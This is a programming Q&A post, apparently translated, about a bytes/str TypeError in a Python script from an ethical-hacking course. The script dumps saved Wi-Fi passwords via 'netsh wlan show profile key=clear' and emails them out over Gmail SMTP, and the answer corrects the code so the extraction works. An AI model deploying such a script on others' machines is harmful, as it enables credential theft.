在re库中使用findall时出错

Error when using findall in the re library

我正在观看道德黑客课程,当我听了这个讲座时,我遇到了错误,我不知道为什么 我试过了,但这里出现错误:

    File "D:\send_emails.py", line 14, in <module>
    network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
    File "C:\Users\maha_\AppData\Local\Programs\Python\Python38\lib\re.py", line 241, in findall
    return _compile(pattern, flags).findall(string)
    TypeError: cannot use a string pattern on a bytes-like object

这是我的代码:


import subprocess, smtplib, re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
    command = 'netsh wlan show profile ' + '"' + networks_names + '" ' +" key=clear"
    passwords = subprocess.check_output(command, shell=True)
    result = result + passwords
send_mail("mygmail", "mypassword", result)

subprocess.check_output(command, shell=True) returns 字节对象

将其转换为字符串使用 subprocess.check_output(command, shell=True).decode()

您还会在 result = result + passwords 处收到错误,因为您无法将字符串连接到字节。相反,在连接之前在 passwords 上使用 .decode()。

所以你的最终代码应该是


import subprocess, smtplib, re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True).decode()
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
    command = "netsh wlan show profile " + networks_names + " key=clear"
    passwords = subprocess.check_output(command, shell=True)
    result = result + passwords.decode()